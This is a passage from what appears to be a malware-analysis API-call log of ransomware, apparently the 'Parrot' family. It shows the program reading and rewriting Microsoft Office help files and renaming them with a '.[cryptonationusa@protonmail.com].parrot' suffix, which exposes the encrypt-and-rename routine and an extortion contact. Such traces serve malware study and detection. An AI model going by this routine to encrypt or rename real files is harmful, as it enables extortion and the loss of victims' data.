Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.998] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.998] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.999] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.999] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x281, lpOverlapped=0x0) returned 1 [0172.000] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.006] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.006] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.006] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.007] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd1, lpOverlapped=0x0) returned 1 [0172.007] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.012] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.012] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.013] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0172.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.018] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.018] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.019] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.019] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0172.019] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.023] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.024] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.063] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.063] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0172.097] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.097] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0172.100] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.100] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0172.103] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cca4e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0172.103] CloseHandle (hObject=0x284) returned 1 [0172.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.120] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.122] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.122] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ef8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ef8, lpOverlapped=0x0) returned 1 [0172.123] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.133] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.133] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.134] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.135] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26d, lpOverlapped=0x0) returned 1 [0172.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.140] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.140] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.141] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd, lpOverlapped=0x0) returned 1 [0172.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.146] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.146] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.147] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0172.148] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.153] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.153] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.154] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0172.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.160] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.161] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d682, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d682, lpOverlapped=0x0) returned 1 [0172.175] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSQRY32.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msqry32.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.209] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.211] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.211] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f254, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f254, lpOverlapped=0x0) returned 1 [0172.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.302] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.302] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.304] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.304] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x272, lpOverlapped=0x0) returned 1 [0172.304] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.310] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.310] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.311] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xce, lpOverlapped=0x0) returned 1 [0172.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.317] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.318] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.318] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0172.318] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.323] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.324] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0172.324] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.329] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.329] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.331] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.331] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0172.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0172.340] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0172.340] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0172.342] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.342] ReadFile (in: hFile=0x284, 